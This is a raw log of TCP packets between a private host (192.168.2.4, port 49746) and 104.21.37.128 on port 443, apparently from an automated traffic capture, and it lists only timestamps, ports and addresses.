Dec 27, 2024 20:17:48.639296055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.639303923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.639337063 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.645708084 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.645731926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.645756960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.645761967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.645788908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.645802975 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.807811022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.807842970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.807878971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.807908058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.807920933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.807944059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.814877033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.814903975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.814939022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.814950943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.814979076 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.815007925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.822308064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.822333097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.822365046 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.822371960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.822387934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.822423935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.828674078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.828696012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.828732967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.828742981 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.828751087 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.828788042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.835885048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.835905075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.835943937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.835968971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.835982084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.836004019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.842900991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.842930079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.842966080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.842973948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.842983007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.843010902 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.850203991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.850250006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.850300074 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.850307941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.850334883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.850342989 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.857500076 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.857546091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.857566118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.857573986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.857597113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.857604980 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.928982019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.018942118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.019007921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.019023895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.019033909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.019062042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.019074917 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.026000977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.026031017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.026060104 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.026067019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.026091099 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.026099920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.033329010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.033353090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.033385038 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.033392906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.033425093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.033432007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.039805889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.039829016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.039856911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.039863110 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.039889097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.039906979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.047245026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.047291040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.047311068 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.047343969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.047344923 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.047386885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.054018021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.054060936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.054090023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.054095984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.054121017 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.054132938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.061333895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.061382055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.061419010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.061425924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.061443090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.061465025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.068634033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.068675995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.068706036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.068715096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.068728924 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.068756104 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.229809046 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.229835033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.229876041 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.229888916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.229898930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.229929924 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.236213923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.236236095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.236274958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.236284971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.236306906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.236325026 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.243566036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.243587971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.243626118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.243633986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.243655920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.243669033 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.250988007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.251027107 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.251051903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.251059055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.251080990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.251094103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.257556915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.257616997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.257630110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.257638931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.257679939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.265147924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.265191078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.265212059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.265222073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.265230894 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.265244007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.265271902 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.272034883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.272092104 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.272105932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.272114038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.272160053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.278768063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.278791904 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.278834105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.278841019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.278863907 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.278876066 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.328015089 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.439765930 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.439810038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.439934969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.439934969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.439964056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.442270041 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.447401047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.447433949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.447518110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.447518110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.447526932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.449863911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.452564001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.452625036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.452656031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.452662945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.452688932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.454391003 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.454490900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.454499006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.455699921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.460792065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.460817099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.460891962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.460891962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.460901022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.462539911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.468106985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.468137026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.468219042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.468219042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.468228102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.470280886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.475168943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.475197077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.475277901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.475277901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.475284100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.477551937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.480267048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.480313063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.480343103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.480348110 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.480372906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.487569094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.487591982 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.487631083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.487639904 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.487667084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.530793905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.685576916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.685607910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.686456919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.686475992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.688121080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.692233086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.692255020 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.692336082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.692337036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.692343950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.692964077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.699573040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.699595928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.700120926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.700129032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.700928926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.706840992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.706862926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.707578897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.707592964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.708122015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.714164972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.714195967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.714849949 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.714858055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.716123104 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.721049070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.721072912 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.721153021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.721153021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.721160889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.724119902 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.727447033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.727469921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.727575064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.727576017 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.727586031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.728123903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.734766006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.734790087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.734885931 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.734885931 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.734898090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.736120939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.915247917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.915277004 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.916134119 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.916172028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.918072939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.922245026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.922271013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.922976971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.922986031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.924120903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.928675890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.928697109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.929393053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.929402113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.931544065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.935936928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.935959101 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.936099052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.936108112 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.936312914 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.943288088 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.943309069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.944128036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.944138050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.950115919 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.950144053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.950160027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.950167894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.950176954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.952121019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.957474947 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.957496881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.960123062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.960131884 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.963989019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.964013100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.964096069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.964096069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:49.964103937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:49.972122908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.125246048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.125303030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.125415087 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.125415087 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.125435114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.126349926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.132586002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.132678986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.132716894 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.132724047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.132759094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.132812023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.139902115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.139949083 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.140048027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.140048027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.140055895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.140117884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.146469116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.146514893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.146553993 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.146564960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.146578074 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.146578074 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.146640062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.153587103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.153630018 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.153704882 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.153713942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.153738976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.154016018 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.160752058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.160799026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.160835981 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.160842896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.160867929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.163357019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.167937994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.167984962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.168023109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.168031931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.168061018 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.168097973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.175163984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.175220966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.175251961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.175259113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.175285101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.175708055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.352655888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.352705002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.352735043 CET	49746	443	192.168.2.4	104.21.37.128
